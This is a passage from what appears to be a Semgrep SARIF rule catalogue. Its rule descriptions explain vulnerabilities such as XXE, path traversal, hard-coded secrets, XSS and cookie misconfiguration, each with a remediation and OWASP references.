Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","id":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","name":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","id":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","name":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"help":{"markdown":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string)\n","text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"helpUri":"https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string","id":"python.flask.caching.query-string.flask-cache-query-string","name":"python.flask.caching.query-string.flask-cache-query-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.flask.caching.query-string.flask-cache-query-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","id":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","name":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","id":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","name":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer","id":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","name":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"help":{"markdown":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output)\n - [https://pkg.go.dev/runtime/pprof#Profile](https://pkg.go.dev/runtime/pprof#Profile)\n","text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"helpUri":"https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","id":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","name":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","id":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","name":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","id":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","name":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","id":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","name":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://cwe.mitre.org/data/definitions/501.html](https://cwe.mitre.org/data/definitions/501.html)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies 